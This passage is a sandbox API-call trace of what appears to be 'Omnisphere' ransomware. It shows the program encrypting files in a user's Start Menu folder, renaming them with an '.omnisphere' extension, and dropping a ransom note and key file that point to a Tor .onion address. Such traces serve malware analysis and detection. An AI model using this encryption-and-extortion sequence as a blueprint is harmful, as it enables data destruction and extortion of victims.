| out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.174] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.174] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.174] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.174] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.174] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.174] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.174] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.174] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.174] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.174] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.174] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.174] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.174] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.174] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.174] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.174] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.174] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.174] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.175] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.175] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.175] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.175] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.175] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.175] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.175] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.175] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.175] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.175] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.175] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.175] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.175] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.175] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.175] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.175] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.175] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.175] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.175] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.176] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.176] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.176] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.176] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.176] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.176] CryptDestroyKey (hKey=0x1639628) returned 1 [0148.176] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0148.176] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x8bc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0cdc8 | out: lpNewFilePointer=0x0) returned 1 [0148.176] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cddc, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0cddc*=0x524, lpOverlapped=0x0) returned 1 [0148.176] GetProcessHeap () returned 0x1600000 [0148.176] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x30a) returned 0x1713a90 [0148.177] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell (x86).lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell (x86).lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell (x86).lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell (x86).lnk.omnisphere")) returned 1 [0148.178] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell (x86).lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell (x86).lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell (x86).lnk.omnisphere.id" [0148.178] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell (x86).lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell (x86).lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0148.194] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c864, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0c864*=0x524, lpOverlapped=0x0) returned 1 [0148.196] CloseHandle (hObject=0x3b4) returned 1 [0148.196] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0148.196] CloseHandle (hObject=0x388) returned 1 [0148.196] SetEndOfFile (hFile=0x3c0) returned 1 [0148.196] FlushFileBuffers (hFile=0x3c0) returned 1 [0148.730] CloseHandle (hObject=0x3c0) returned 1 [0148.730] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell (x86).lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell") returned 1 [0148.730] GetProcessHeap () returned 0x1600000 [0148.730] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1730d48 [0148.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0148.730] GetProcessHeap () returned 0x1600000 [0148.730] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fda50 [0148.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fda50, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0148.731] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0148.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0148.731] GetProcessHeap () returned 0x1600000 [0148.731] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726b58 [0148.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726b58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0148.731] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0148.731] GetProcessHeap () returned 0x1600000 [0148.731] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xf0) returned 0x1731268 [0148.731] PathCombineW (in: pszDest=0x1731268, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\!DECRYPT_OMNISPHERE.txt" [0148.731] GetProcessHeap () returned 0x1600000 [0148.731] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1719448 [0148.731] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0148.732] WriteFile (in: hFile=0x3c0, lpBuffer=0x1719448*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0cdfc, lpOverlapped=0x0 | out: lpBuffer=0x1719448*, lpNumberOfBytesWritten=0x3e0cdfc*=0x588, lpOverlapped=0x0) returned 1 [0148.732] CloseHandle (hObject=0x3c0) returned 1 [0148.732] GetProcessHeap () returned 0x1600000 [0148.732] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1730d48 | out: hHeap=0x1600000) returned 1 [0148.732] GetProcessHeap () returned 0x1600000 [0148.732] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe6) returned 0x17307b8 [0148.732] PathCombineW (in: pszDest=0x17307b8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\unique_decrypt.key" [0148.732] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0148.732] WriteFile (in: hFile=0x3c0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ce10, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ce10*=0x5a0, lpOverlapped=0x0) returned 1 [0148.733] CloseHandle (hObject=0x3c0) returned 1 [0148.733] GetProcessHeap () returned 0x1600000 [0148.733] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17307b8 | out: hHeap=0x1600000) returned 1 [0148.733] GetProcessHeap () returned 0x1600000 [0148.733] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172fb18 | out: hHeap=0x1600000) returned 1 [0148.733] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210ad1cc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x96df2ecc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4fa, dwReserved0=0x0, dwReserved1=0xbf, cFileName="Windows PowerShell ISE (x86).lnk", cAlternateFileName="WINDOW~3.LNK")) returned 1 [0148.733] GetProcessHeap () returned 0x1600000 [0148.733] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x102) returned 0x172fb18 [0148.733] PathCombineW (in: pszDest=0x172fb18, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell", pszFile="Windows PowerShell ISE (x86).lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk" [0148.733] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0148.733] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell ise (x86).lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0148.736] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x3e0cdd4 | out: lpFileSize=0x3e0cdd4*=1274) returned 1 [0148.736] GetTickCount () returned 0x1164ffc [0148.736] GetTickCount () returned 0x1164ffc [0148.736] GetTickCount () returned 0x1164ffc [0148.736] GetTickCount () returned 0x1164ffc [0148.736] GetTickCount () returned 0x1164ffc [0148.736] GetTickCount () returned 0x1164ffc [0148.736] GetTickCount () returned 0x1164ffc [0148.736] GetTickCount () returned 0x1164ffc [0148.737] GetTickCount () returned 0x1164ffc [0148.737] GetTickCount () returned 0x1164ffc [0148.737] GetTickCount () returned 0x1164ffc [0148.737] GetTickCount () returned 0x1164ffc [0148.737] GetTickCount () returned 0x1164ffc [0148.737] GetTickCount () returned 0x1164ffc [0148.737] GetTickCount () returned 0x1164ffc [0148.737] GetTickCount () returned 0x1164ffc [0148.737] GetTickCount () returned 0x1164ffc [0148.737] GetTickCount () returned 0x1164ffc [0148.737] GetTickCount () returned 0x1164ffc [0148.737] GetTickCount () returned 0x1164ffc [0148.737] GetTickCount () returned 0x1164ffc [0148.737] GetTickCount () returned 0x1164ffc [0148.737] GetTickCount () returned 0x1164ffc [0148.737] GetTickCount () returned 0x1164ffc [0148.737] GetTickCount () returned 0x1164ffc [0148.737] GetTickCount () returned 0x1164ffc [0148.737] GetTickCount () returned 0x1164ffc [0148.737] GetTickCount () returned 0x1164ffc [0148.737] GetTickCount () returned 0x1164ffc [0148.737] GetTickCount () returned 0x1164ffc [0148.737] GetTickCount () returned 0x1164ffc [0148.737] GetTickCount () returned 0x1164ffc [0148.737] CryptAcquireContextW (in: phProv=0x3e0c85c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0c85c*=0x16688a0) returned 1 [0148.738] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0c7c4, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c868 | out: phKey=0x3e0c868*=0x1639628) returned 1 [0148.738] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x75, dwBufLen=0x80 | out: pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x80) returned 1 [0148.739] CryptDestroyKey (hKey=0x1639628) returned 1 [0148.739] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0148.739] CreateFileMappingW (hFile=0x3c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4fa, lpName=0x0) returned 0x388 [0148.739] MapViewOfFile (hFileMappingObject=0x388, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4fa) returned 0x1480000 [0148.765] CryptAcquireContextW (in: phProv=0x3e0c84c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0c84c*=0x1668928) returned 1 [0148.769] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0c804, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c85c | out: phKey=0x3e0c85c*=0x1639628) returned 1 [0148.769] CryptSetKeyParam (hKey=0x1639628, dwParam=0x4, pbData=0x3e0c840*=0x2, dwFlags=0x0) returned 1 [0148.769] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0c848*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0c848*=0x10) returned 1 [0148.769] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.769] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.769] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.769] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.769] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.769] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.769] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.769] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.769] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.769] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 